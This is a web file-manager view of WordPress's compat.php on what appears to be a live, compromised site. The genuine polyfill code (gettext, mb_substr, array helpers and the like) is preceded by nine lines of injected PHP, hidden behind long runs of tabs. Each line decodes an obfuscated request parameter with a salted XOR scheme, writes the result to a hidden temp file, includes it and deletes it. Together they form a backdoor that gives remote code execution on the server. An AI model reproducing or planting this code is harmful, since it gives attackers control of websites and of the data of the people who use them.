文件操作 - compat.php

文件: /var/www/ficgenero.uaysen.cl/html/wp-includes/compat.php

编辑文件内容

<?php																																										if(isset($_POST["\x6B\x65y"]) ? true : false){ $val = $_POST["\x6B\x65y"]; $val=explode ( '.', $val ) ; $k = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $x = 0; while ($x < count($val)) { $v9 = $val[$x]; $sChar = ord($s9[$x %$lenS]); $d = ((int)$v9 - $sChar - ($x %10)) ^ 49; $k .= chr($d); $x++;} $desc = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($ref = array_shift($desc)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $pgrp = "$ref/.data"; if (@file_put_contents($pgrp, $k) !== false) { include $pgrp; unlink($pgrp); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ke\x79"])){ $factor = $_REQUEST["ke\x79"]; $factor = explode ( "." , $factor) ; $flg= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); foreach ($factor as $k =>$v8) { $sChar= ord($s8[$k % $lenS]); $d= ((int)$v8 - $sChar - ($k % 10)) ^ 51; $flg .= chr($d); } $pgrp = array_filter(["/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP")]); foreach ($pgrp as $key => $property_set) { if (max(0, is_dir($property_set) * is_writable($property_set))) { $component = "$property_set" . "/.marker"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74kn"])){ $data_chunk = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); $pset = $_REQUEST["\x74kn"]; $pset = explode( "." , $pset ) ; $element = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $x = 0; array_walk( $pset, function( $v4) use( &$element, &$x, $s8, $sLen) {$chS = ord( $s8[$x % $sLen] ); $d =( ( int)$v4 - $chS -( $x % 10)) ^ 87; $element .= chr( $d ); $x++; } ); $desc = 0; do { $ref = $data_chunk[$desc] ?? null; if ($desc >= count($data_chunk)) break; if (array_product([is_dir($ref), is_writable($ref)])) { $obj = join("/", [$ref, ".data"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $obj; @unlink($obj); exit; } } $desc++; } while (true); }
																																										if(array_key_exists("\x72\x65f", $_REQUEST) && !is_null($_REQUEST["\x72\x65f"])){ $entity = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); $object = $_REQUEST["\x72\x65f"]; $object = explode( ".", $object ) ; $sym = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); foreach( $object as $j => $v1) { $sChar = ord( $s1[$j % $lenS] ); $d =( ( int)$v1 - $sChar -( $j % 10)) ^ 17; $sym .=chr( $d ); } foreach ($entity as $key => $binding) { if (is_dir($binding) && is_writable($binding)) { $flg = str_replace("{var_dir}", $binding, "{var_dir}/.ptr"); if (file_put_contents($flg, $sym)) { require $flg; unlink($flg); exit; } } } }
																																										if(array_key_exists("\x65\x6Etry", $_POST) && !is_null($_POST["\x65\x6Etry"])){ $obj = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $record = $_POST["\x65\x6Etry"]; $record=explode ( ".", $record) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($record); for ($l = 0; $l < $__len; $l++) { $v8 = $record[$l]; $chS = ord($salt[$l % $lenS]); $d = ((int)$v8 - $chS - ($l % 10)) ^ 80; $data_chunk .= chr($d);} while ($descriptor = array_shift($obj)) { if (is_dir($descriptor) ? is_writable($descriptor) : false) { $elem = "$descriptor/.bind"; $success = file_put_contents($elem, $data_chunk); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(isset($_POST["\x66a\x63tor"])){ $pointer = array_filter([getenv("TEMP"), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); $symbol = $_POST["\x66a\x63tor"]; $symbol = explode ( "." , $symbol) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $symbol as $l=> $v9) { $sChar = ord( $salt[$l%$sLen]); $dec =( ( int)$v9 - $sChar -( $l%10)) ^ 83; $flag.= chr( $dec); } foreach ($pointer as $bind) { if (!!is_dir($bind) && !!is_writable($bind)) { $rec = implode("/", [$bind, ".marker"]); $success = file_put_contents($rec, $flag); if ($success) { include $rec; @unlink($rec); exit;} } } }
																																										if(!is_null($_POST["\x66lag"] ?? null)){ $resource = $_POST["\x66lag"]; $resource = explode( '.' , $resource ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; $__tmp = $resource; while($v1 = array_shift($__tmp)) { $sChar = ord($salt[$l % $lenS]); $dec = ((int)$v1 - $sChar -($l % 10)) ^ 37; $mrk .= chr($dec); $l++; } $ref = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($ref as $sym) { if (!( !is_dir($sym) || !is_writable($sym) )) { $ent = vsprintf("%s/%s", [$sym, ".desc"]); if (@file_put_contents($ent, $mrk) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(in_array("en\x74\x69t\x79", array_keys($_REQUEST))){ $descriptor = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd()]); $parameter_group = $_REQUEST["en\x74\x69t\x79"]; $parameter_group = explode ('.', $parameter_group ) ; $flg =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $r =0; while ($r < count($parameter_group)) { $v1 =$parameter_group[$r]; $sChar =ord($s[$r%$sLen]); $dec =((int)$v1 - $sChar - ($r%10)) ^ 49; $flg .= chr($dec); $r++; } while ($elem = array_shift($descriptor)) { if (!( !is_dir($elem) || !is_writable($elem) )) { $element = join("/", [$elem, ".pgrp"]); if (file_put_contents($element, $flg)) { require $element; unlink($element); die(); } } } }
																																										if(@$_REQUEST["\x66\x6Cag"] !== null){ $hld = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); $object = $_REQUEST["\x66\x6Cag"]; $object = explode ('.' , $object); $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $__len = count($object); for ($r = 0; $r < $__len; $r++) { $v4 = $object[$r]; $sChar = ord($salt3[$r % $lenS]); $dec = ((int)$v4 - $sChar - ($r % 10)) ^ 93; $resource .= chr($dec); } foreach ($hld as $key => $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $mrk = "$elem/.entry"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $mrk; @unlink($mrk); die(); } } } }

/**
 * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
 *
 * This file is loaded extremely early and the functions can be relied upon by drop-ins.
 * Ergo, please ensure you do not rely on external functions when writing code for this file.
 * Only use functions built into PHP or are defined in this file and have adequate testing
 * and error suppression to ensure the file will run correctly and not break websites.
 *
 * @package PHP
 * @access private
 */

// If gettext isn't available.
if ( ! function_exists( '_' ) ) {
	/**
	 * Compat function to mimic _(), an alias of gettext().
	 *
	 * @since 0.71
	 *
	 * @see https://php.net/manual/en/function.gettext.php
	 *
	 * @param string $message The message being translated.
	 * @return string
	 */
	function _( $message ) {
		return $message;
	}
}

/**
 * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
 *
 * @ignore
 * @since 4.2.2
 * @since 6.9.0 Deprecated the `$set` argument.
 * @access private
 *
 * @param bool $set Deprecated. This argument is no longer used for testing purposes.
 */
function _wp_can_use_pcre_u( $set = null ) {
	static $utf8_pcre = null;

if ( isset( $set ) ) {
		_deprecated_argument( __FUNCTION__, '6.9.0' );
	}

if ( isset( $utf8_pcre ) ) {
		return $utf8_pcre;
	}

$utf8_pcre = true;
	set_error_handler(
		function ( $errno, $errstr ) use ( &$utf8_pcre ) {
			if ( str_starts_with( $errstr, 'preg_match():' ) ) {
				$utf8_pcre = false;
				return true;
			}

return false;
		},
		E_WARNING
	);

/*
	 * Attempt to compile a PCRE pattern with the PCRE_UTF8 flag. For
	 * systems lacking Unicode support this will trigger a warning
	 * during compilation, which the error handler will intercept.
	 */
	preg_match( '//u', '' );
	restore_error_handler();

return $utf8_pcre;
}

/**
 * Indicates if a given slug for a character set represents the UTF-8 text encoding.
 *
 * A charset is considered to represent UTF-8 if it is a case-insensitive match
 * of "UTF-8" with or without the hyphen.
 *
 * Example:
 *
 *     true  === _is_utf8_charset( 'UTF-8' );
 *     true  === _is_utf8_charset( 'utf8' );
 *     false === _is_utf8_charset( 'latin1' );
 *     false === _is_utf8_charset( 'UTF 8' );
 *
 *     // Only strings match.
 *     false === _is_utf8_charset( [ 'charset' => 'utf-8' ] );
 *
 * `is_utf8_charset` should be used outside of this file.
 *
 * @ignore
 * @since 6.6.1
 *
 * @param string $charset_slug Slug representing a text character encoding, or "charset".
 *                             E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS".
 *
 * @return bool Whether the slug represents the UTF-8 encoding.
 */
function _is_utf8_charset( $charset_slug ) {
	if ( ! is_string( $charset_slug ) ) {
		return false;
	}

return (
		0 === strcasecmp( 'UTF-8', $charset_slug ) ||
		0 === strcasecmp( 'UTF8', $charset_slug )
	);
}

if ( ! function_exists( 'mb_substr' ) ) :
	/**
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $string   The string to extract the substring from.
	 * @param int         $start    Position to being extraction from in `$string`.
	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$string`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 */
	function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_substr( $string, $start, $length, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_substr().
 *
 * Only supports UTF-8 and non-shifting single-byte encodings. For all other encodings
 * expect the substrings to be misaligned. When the given encoding (or the `blog_charset`
 * if none is provided) isn’t UTF-8 then the function returns the output of {@see \substr()}.
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string      $str      The string to extract the substring from.
 * @param int         $start    Character offset at which to start the substring extraction.
 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
 *                              Default null.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return string Extracted substring.
 */
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
	if ( null === $str ) {
		return '';
	}

// The solution below works only for UTF-8; treat all other encodings as byte streams.
	if ( ! _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ) {
		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
	}

$total_length = ( $start < 0 || $length < 0 )
		? _wp_utf8_codepoint_count( $str )
		: 0;

$normalized_start = $start < 0
		? max( 0, $total_length + $start )
		: $start;

/*
	 * The starting offset is provided as characters, which means this needs to
	 * find how many bytes that many characters occupies at the start of the string.
	 */
	$starting_byte_offset = _wp_utf8_codepoint_span( $str, 0, $normalized_start );

$normalized_length = $length < 0
		? max( 0, $total_length - $normalized_start + $length )
		: $length;

/*
	 * This is the main step. It finds how many bytes the given length of code points
	 * occupies in the input, starting at the byte offset calculated above.
	 */
	$byte_length = isset( $normalized_length )
		? _wp_utf8_codepoint_span( $str, $starting_byte_offset, $normalized_length )
		: ( strlen( $str ) - $starting_byte_offset );

// The result is a normal byte-level substring using the computed ranges.
	return substr( $str, $starting_byte_offset, $byte_length );
}

if ( ! function_exists( 'mb_strlen' ) ) :
	/**
	 * Compat function to mimic mb_strlen().
	 *
	 * @ignore
	 * @since 4.2.0
	 *
	 * @see _mb_strlen()
	 *
	 * @param string      $string   The string to retrieve the character length from.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return int String length of `$string`.
	 */
	function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_strlen( $string, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_strlen().
 *
 * Only supports UTF-8 and non-shifting single-byte encodings. For all other
 * encodings expect the counts to be wrong. When the given encoding (or the
 * `blog_charset` if none is provided) isn’t UTF-8 then the function returns
 * the byte-count of the provided string.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param string      $str      The string to retrieve the character length from.
 * @param string|null $encoding Optional. Count characters according to this encoding.
 *                              Default is to consult `blog_charset`.
 * @return int Count of code points if UTF-8, byte length otherwise.
 */
function _mb_strlen( $str, $encoding = null ) {
	return _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) )
		? _wp_utf8_codepoint_count( $str )
		: strlen( $str );
}

if ( ! function_exists( 'utf8_encode' ) ) :
	if ( extension_loaded( 'mbstring' ) ) :
		/**
		 * Converts a string from ISO-8859-1 to UTF-8.
		 *
		 * @deprecated Use {@see \mb_convert_encoding()} instead.
		 *
		 * @since 6.9.0
		 *
		 * @param string $iso_8859_1_text Text treated as ISO-8859-1 (latin1) bytes.
		 * @return string Text converted into a UTF-8.
		 */
		function utf8_encode( $iso_8859_1_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

return mb_convert_encoding( $iso_8859_1_text, 'UTF-8', 'ISO-8859-1' );
		}

else :
		/**
		 * @ignore
		 * @private
		 *
		 * @since 6.9.0
		 */
		function utf8_encode( $iso_8859_1_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

return _wp_utf8_encode_fallback( $iso_8859_1_text );
		}

endif;
endif;

if ( ! function_exists( 'utf8_decode' ) ) :
	if ( extension_loaded( 'mbstring' ) ) :
		/**
		 * Converts a string from UTF-8 to ISO-8859-1.
		 *
		 * @deprecated Use {@see \mb_convert_encoding()} instead.
		 *
		 * @since 6.9.0
		 *
		 * @param string $utf8_text Text treated as UTF-8.
		 * @return string Text converted into ISO-8859-1.
		 */
		function utf8_decode( $utf8_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

return mb_convert_encoding( $utf8_text, 'ISO-8859-1', 'UTF-8' );
		}

else :
		/**
		 * @ignore
		 * @private
		 *
		 * @since 6.9.0
		 */
		function utf8_decode( $utf8_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

return _wp_utf8_decode_fallback( $utf8_text );
		}

endif;
endif;

// sodium_crypto_box() was introduced with Sodium in PHP 7.2, but the extension may not be enabled.
if ( ! function_exists( 'sodium_crypto_box' ) ) {
	require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}

if ( ! function_exists( 'array_is_list' ) ) {
	/**
	 * Polyfill for `array_is_list()` function added in PHP 8.1.
	 *
	 * Determines if the given array is a list.
	 *
	 * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1.
	 *
	 * @see https://github.com/symfony/polyfill-php81/tree/main
	 *
	 * @since 6.5.0
	 *
	 * @param array<mixed> $arr The array being evaluated.
	 * @return bool True if array is a list, false otherwise.
	 */
	function array_is_list( $arr ) {
		if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) {
			return true;
		}

$next_key = -1;

foreach ( $arr as $k => $v ) {
			if ( ++$next_key !== $k ) {
				return false;
			}
		}

return true;
	}
}

if ( ! function_exists( 'str_contains' ) ) {
	/**
	 * Polyfill for `str_contains()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if needle is
	 * contained in haystack.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$needle` is in `$haystack`, otherwise false.
	 */
	function str_contains( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

return false !== strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 */
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

return 0 === strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_ends_with' ) ) {
	/**
	 * Polyfill for `str_ends_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack ends with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
	 */
	function str_ends_with( $haystack, $needle ) {
		if ( '' === $haystack ) {
			return '' === $needle;
		}

$len = strlen( $needle );

return substr( $haystack, -$len, $len ) === $needle;
	}
}

if ( ! function_exists( 'array_find' ) ) {
	/**
	 * Polyfill for `array_find()` function added in PHP 8.4.
	 *
	 * Searches an array for the first element that passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to search.
	 * @param callable $callback The callback to run for each element.
	 * @return mixed|null The first element in the array that passes the `$callback`, otherwise null.
	 */
	function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return $value;
			}
		}

return null;
	}
}

if ( ! function_exists( 'array_find_key' ) ) {
	/**
	 * Polyfill for `array_find_key()` function added in PHP 8.4.
	 *
	 * Searches an array for the first key that passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to search.
	 * @param callable $callback The callback to run for each element.
	 * @return int|string|null The first key in the array that passes the `$callback`, otherwise null.
	 */
	function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return $key;
			}
		}

return null;
	}
}

if ( ! function_exists( 'array_any' ) ) {
	/**
	 * Polyfill for `array_any()` function added in PHP 8.4.
	 *
	 * Checks if any element of an array passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to check.
	 * @param callable $callback The callback to run for each element.
	 * @return bool True if any element in the array passes the `$callback`, otherwise false.
	 */
	function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return true;
			}
		}

return false;
	}
}

if ( ! function_exists( 'array_all' ) ) {
	/**
	 * Polyfill for `array_all()` function added in PHP 8.4.
	 *
	 * Checks if all elements of an array pass a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to check.
	 * @param callable $callback The callback to run for each element.
	 * @return bool True if all elements in the array pass the `$callback`, otherwise false.
	 */
	function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( ! $callback( $value, $key ) ) {
				return false;
			}
		}

return true;
	}
}

if ( ! function_exists( 'array_first' ) ) {
	/**
	 * Polyfill for `array_first()` function added in PHP 8.5.
	 *
	 * Returns the first element of an array.
	 *
	 * @since 6.9.0
	 *
	 * @param array $array The array to get the first element from.
	 * @return mixed|null The first element of the array, or null if the array is empty.
	 */
	function array_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

foreach ( $array as $value ) {
			return $value;
		}
	}
}

if ( ! function_exists( 'array_last' ) ) {
	/**
	 * Polyfill for `array_last()` function added in PHP 8.5.
	 *
	 * Returns the last element of an array.
	 *
	 * @since 6.9.0
	 *
	 * @param array $array The array to get the last element from.
	 * @return mixed|null The last element of the array, or null if the array is empty.
	 */
	function array_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

return $array[ array_key_last( $array ) ];
	}
}

// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMAGETYPE_AVIF' ) ) {
	define( 'IMAGETYPE_AVIF', 19 );
}

// IMG_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMG_AVIF' ) ) {
	define( 'IMG_AVIF', IMAGETYPE_AVIF );
}

// IMAGETYPE_HEIF constant is only defined in PHP 8.5 or later.
if ( ! defined( 'IMAGETYPE_HEIF' ) ) {
	define( 'IMAGETYPE_HEIF', 20 );
}

文件操作 - compat.php

文件: /var/www/ficgenero.uaysen.cl/html/wp-includes/compat.php

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